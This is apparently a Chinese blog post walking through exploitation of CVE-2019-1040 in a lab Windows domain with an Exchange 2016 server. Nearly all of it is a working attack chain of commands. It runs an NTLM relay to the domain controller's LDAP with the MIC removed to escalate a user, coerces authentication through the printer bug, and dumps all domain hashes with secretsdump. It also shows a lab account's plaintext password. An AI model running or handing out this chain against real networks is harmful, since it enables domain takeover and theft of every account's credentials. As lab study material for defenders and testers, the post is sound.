CVE-2019-1040

漏洞概述

https://daiker.gitbook.io/windows-protocol/ntlm-pian/7#5-cve-2019-1040

环境

角色 系统 计算机名 地址
攻击机 kali 192.168.1.103
域控 windows2012R2 sync-dc 192.168.110.12 sync.net
exchange2016 windows2016 sync-ex2016 192.168.110.81 sync.net

利用条件

  • 在域内
    或者
  • 已知一个域用户的帐号或ntlm-hash

操作

攻击机开启中继

impacket-ntlmrelayx --escalate-user chenli -t ldap://192.168.110.12 -smb2support --remove-mic --delegate-access -debug

chenli 要提升权限的用户名

使用打印机bug

  • windows下
spoolsample.exe	exchangeIP 攻击机IP

  • kali下
python3 printerbug.py sync.net/chenli:cl123\!\@\#45@192.168.110.81 192.168.1.103

  • 中继"提权"中

dumpHASH

  • windows下
secretsdump.exe sync.net/chenli@sync-dc -just-dc

  • kali下
impacket-secretsdump -just-dc sync.net/chenli@192.168.110.12

posted @ 2020-12-25 10:58  mrhonest  阅读(507)  评论(0编辑  收藏  举报